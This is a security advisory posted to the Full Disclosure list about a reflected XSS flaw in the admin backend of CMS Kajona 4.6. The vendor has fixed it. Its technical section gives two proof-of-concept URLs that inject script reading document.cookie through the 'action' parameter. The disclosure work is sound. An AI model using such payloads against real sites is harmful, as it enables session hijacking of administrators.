Reflecting XSS vulnerability in CMS Kajona v. 4.6

[Steffen Rösemann <steffen.roesemann1986 () gmail com>]

Advisory: Reflecting XSS vulnerability in CMS Kajona v. 4.6
Advisory ID: SROEADV-2015-01
Author: Steffen Rösemann
Affected Software: CMS Kajona v. 4.6
Vendor URL: https://www.kajona.de
Vendor Status: solved
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Kajona v. 4.6 is vulnerable to a reflecting XSS vulnerability in
its administrative backend.

==================
Technical Details:
==================

For an attacker it is possible to append arbitrary HTML and/or
JavaScript-Code to the parameter "action" in the admin.php.

Exploit Examples:

http://
{TARGET}/index.php?admin=1&module=right&action=change%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&changemodule=dashboard

http://
{TARGET}/index.php?admin=1&module=messaging&action=list%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--

=========
Solution:
=========

Upgrade to the latest version.


====================
Disclosure Timeline:
====================
01-Jan-2015 – found the vulnerability
01-Jan-2015 - informed the developers
01-Jan-2015 – release date of this security advisory [without technical
details]
05-Jan-2015 - response and fix by vendor
05-Jan-2015 - release date of this security advisory
05-Jan-2015 - post on FullDisclosure


========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://sroesemann.blogspot.de
[2] https://www.kajona.de
[3]
https://www.kajona.de/de/News/newsdetails.Security-update-to-module-system.newsDetail.22ac42054aa88a07826c.html
[4]
https://github.com/kajona/kajonacms/commit/563d39c327606232e480602f7b36ea6cb31bc6f7

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/